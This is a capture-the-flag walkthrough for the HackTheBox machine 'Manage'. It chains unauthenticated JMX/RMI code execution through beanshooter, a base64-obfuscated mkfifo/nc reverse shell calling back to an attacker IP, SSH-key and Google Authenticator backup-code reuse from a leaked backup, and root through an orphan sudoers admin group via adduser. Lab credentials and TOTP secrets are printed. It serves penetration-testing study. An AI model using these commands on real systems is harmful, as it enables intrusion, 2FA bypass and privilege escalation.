🧑🏼💼Manage
HTB Manage — Detailed Solution Notes
Platform: HackTheBox | Machine: Manage | OS: Linux | Difficulty: Easy | Vulnerability Types: Exposed JMX over RMI, Tomcat User Disclosure, Misconfigured Backup Archive, Google Authenticator Backup Code Reuse, Sudoers adduser Misconfiguration, Orphan Group Privesc
How Does a Hacker Think? — From an Exposed Java RMI Port to Root
Manage looks ordinary on the outside. SSH on 22, a default Apache Tomcat page on 8080, and a Java RMI registry on a non-standard port 2222. The Tomcat page itself is empty and the Manager interface is locked down by IP. The real attack surface is the RMI port. The registry advertises a JMX service with no authentication, and JMX with no authentication means remote MBean deployment, and remote MBean deployment means code execution. From there, a forgotten backup archive in another user's home leaks an SSH key and a Google Authenticator file with reusable backup codes. The final step is a sudoers rule that lets a low-privilege user create new users — and Ubuntu still has the old admin group sitting in sudoers waiting for someone to fill it.
1. Reconnaissance
Port Scan
bash
rustscan -a 10.129.234.57
nmap -sV -sC -p 22,2222,8080,36139,37897 10.129.234.57
OpenSSH 8.9 on 22. Apache Tomcat 10.1.19 on 8080. Java RMI on 2222. Two more high ports show up as tcpwrapped and java-rmi — these are the dynamic ports the RMI registry hands out for actual object access. The nmap rmi-dumpregistry script reveals the interesting line:
jmxrmi
@127.0.1.1:37897
The RMI registry on 2222 is pointing JMX clients at port 37897 on the loopback address 127.0.1.1. That loopback bind is a hint that the service was set up for local use but exposed externally by mistake.
Tomcat Page
http://10.129.234.57:8080 loads the default Tomcat landing page. Adding manage.htb to /etc/hosts and trying that vhost gives nothing different. Directory busting with ffuf finds /manager returning 302, but visiting it returns 403 with the message that the Manager is only accessible from a browser running on the same machine as Tomcat. The IP restriction kills both the HTML and the text interface — credentials alone will not be enough.
bash
ffuf -u http://10.129.234.57:8080/FUZZ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-e .jsp,.war,.txt,.xml -mc 200,301,302,401,403 -fs 11219 -t 50
Tomcat is a dead end from outside. The attack has to come through JMX.
2. JMX Enumeration with Beanshooter
How Does a Hacker Think?
JMX is the Java framework for managing a running JVM from outside the process. It is exposed over RMI by default. If the administrator forgot to set com.sun.management.jmxremote.authenticate=true, anyone who can reach the port can register their own MBeans and invoke methods on them. That is straight code execution inside the target JVM. Beanshooter is the tool that automates this — enumeration, MBean deployment, and command execution all in one binary.
bash
wget https://github.com/qtc-de/beanshooter/releases/download/v4.1.0/beanshooter-4.1.0-jar-with-dependencies.jar
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum 10.129.234.57 2222
The enum output gives three important findings:
Remote MBean server does not require authentication. Vulnerability Status: Vulnerable Remote MBeanServer rejected the payload class. Vulnerability Status: Non Vulnerable 188 MBeans are currently registred on the MBean server.
The JMX endpoint accepts unauthenticated connections. Pre-auth deserialization is patched, so a generic Java deserialization gadget will not work. But 188 MBeans are registered, which means the MBean server itself is fully writable to any client — including ours.
The enum also dumps Tomcat user credentials, because the Tomcat user database is exposed through a JMX MBean and beanshooter reads it automatically:
Username: manager Password: fhErvo2r9wuTEYiYgt Roles: manage-gui
Username: admin Password: onyRPCkaG4iX72BrRtKgbszd Roles: role1
These credentials are useless against the Tomcat Manager directly because of the IP restriction, but they are worth holding onto for later credential reuse attempts.
3. Foothold — TonkaBean RCE
How Does a Hacker Think?
Beanshooter ships its own MBean called TonkaBean that exposes an executeCommand method. Deploying it gives a clean RCE primitive — any string passed to exec runs as the user the JMX server is running as, which on a Tomcat box is the tomcat user. The MBean has to be loaded from somewhere because the target JVM does not have the class by default. Beanshooter solves this by spinning up its own HTTP server, advertising the MBean's codebase URL through an MLet, and waiting for the target to fetch the JAR. The target downloads the class, instantiates it, and now there is a running MBean with an exec method waiting to be called.
Deploy
bash
java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka deploy 10.129.234.57 2222 \
--stager-url http://10.10.16.6:8000
Beanshooter logs every step: it creates the HTTP server, registers the MLet handler, serves the .mlet file when the target requests /, then serves the JAR when the target follows the codebase URL. The final message confirms deployment:
MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed.
A common mistake here is to run python3 -m http.server 8000 first and then run beanshooter with the same port — beanshooter wants to bind its own HTTP server on that port and the python server will block it. Either let beanshooter handle the HTTP server entirely, or pass --no-stager and run a separate HTTP server.
Execute
bash
java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka exec 10.129.234.57 2222 'id'
Output:
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
Reverse Shell — IFS Bypass
A standard bash reverse shell fails because beanshooter splits the command on whitespace and /dev/tcp is not enabled in the target's bash:
bash: >&: No such file or directory
The fix is to encode the payload in base64 and use the brace-expansion trick to keep the whole thing in single tokens. Bash treats {a,b,c} as three space-separated arguments at parse time, so {echo,...}|{base64,-d}|bash ends up running echo PAYLOAD | base64 -d | bash without any literal whitespace in the original argument list. Beanshooter cannot split what does not contain whitespace.
bash
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.6 4444 >/tmp/f' | base64 -w 0
bash
java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka exec 10.129.234.57 2222 \
'bash -c {echo,cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDI+JjF8bmMgMTAuMTAuMTYuNiA0NDQ0ID4vdG1wL2YK}|{base64,-d}|bash'
With nc -lvnp 4444 listening on the attacker side, a tomcat shell connects back.
User flag location: /opt/tomcat/user.txt — flag is not in /home/karl or /home/useradmin. Tomcat installations from upstream often put the flag in the Tomcat install root rather than a user home, and find won't always pick it up if the path is restricted.
4. Lateral Movement — useradmin via Leaked Backup
How Does a Hacker Think?
After getting a shell as a service account, the first thing to look at is what other users exist and what their home directories permit. Service accounts often have read access to other home directories through misconfigured group permissions or world-readable subdirectories. A backup directory is a classic source of leaked credentials — administrators copy sensitive files into a backup folder, forget to lock down the permissions, and the result is a tarball that can be read by anyone on the box.
bash
ls /home
# karl useradmin
ls -la /home/useradmin
# backups/ is world-readable
ls /home/useradmin/backups
# backup.tar.gz
Extract the Backup
bash
cp /home/useradmin/backups/backup.tar.gz /tmp/
cd /tmp && tar -xzf backup.tar.gz
ls -la
The tarball is a snapshot of useradmin's home directory. The two interesting files:
.ssh/id_ed25519 # private key for useradmin
.google_authenticator # 2FA secret + 10 backup codes
.ssh/authorized_keys # confirms key belongs to useradmin@manage
The authorized_keys line ends with useradmin@manage, which is the comment field in the original key generation — confirmation that this key matches useradmin's account.
SSH with the Key
bash
ssh -i id_ed25519 useradmin@10.129.234.57
SSH does not accept the key directly — it prompts for a verification code. This is pam_google_authenticator doing its job. The 2FA layer is there even when key auth succeeds.
Bypass 2FA with Backup Codes
The .google_authenticator file format is well-known:
CLSSSMHYGLENX5HAIFBQ6L35UM # base32 TOTP secret
" RATE_LIMIT 3 30 1718988529
" WINDOW_SIZE 3
" DISALLOW_REUSE 57299617
" TOTP_AUTH
99852083 # 10 single-use backup codes
20312647
73235136
...
The 10 numeric lines at the bottom are single-use recovery codes. Each one is valid for one login. Picking any of them gets the SSH session in:
Verification code: 99852083
useradmin@manage:~$
The TOTP secret would also work — oathtool --totp -b CLSSSMHYGLENX5HAIFBQ6L35UM produces a fresh code every 30 seconds — but the backup codes are simpler and one is enough.
5. Privilege Escalation — adduser + Orphan admin Group
How Does a Hacker Think?
sudo -l always comes first as any new user. If there is anything listed, it is the most direct route to root. The list here is small but unusual:
(ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$
The ^[a-zA-Z0-9]+$ is a sudoers argument pattern that restricts the allowed argument to a single alphanumeric string. So we can run adduser <something> for any alphanumeric value, as root, without a password. We cannot run adduser hacker sudo to add an existing user to the sudo group — the space and the second argument break the pattern. We cannot pass --uid 0 or any other flag — the dashes break the pattern. We can only create new users.
The dead-end thinking is: "creating a user does not give me root." The unlock is: the privilege we need does not have to come from sudo at all — it can come from group membership, if a privileged group is sitting empty waiting for a new member.
The Orphan Group
On Ubuntu, /etc/sudoers historically contained two privileged group rules:
%admin ALL=(ALL) ALL
%sudo ALL=(ALL:ALL) ALL
Modern Ubuntu uses %sudo. The %admin line was deprecated years ago but is sometimes left in /etc/sudoers for backwards compatibility. On this box, the admin rule is still active, but there is no admin user and no admin group on the system.
bash
cat /etc/group | grep -E "admin|sudo"
# sudo:x:27:karl
# useradmin:x:1002:
admin does not appear in /etc/group. That is the missing piece. Sudoers says "anyone in the admin group is root," and the admin group does not exist. Whoever creates the admin group first, owns root.
How adduser Creates the Group
/etc/adduser.conf has USERGROUPS=yes. That means every new user gets a new group with the same name as the user, and the user is placed in that group as their primary group. So running adduser admin will:
- Create a user named
admin. - Create a group named
admin(because no group with that name exists yet). - Put the
adminuser in theadmingroup.
And the admin group is exactly what sudoers is waiting for.
Execution
bash
sudo /usr/sbin/adduser admin
You might also want to look at these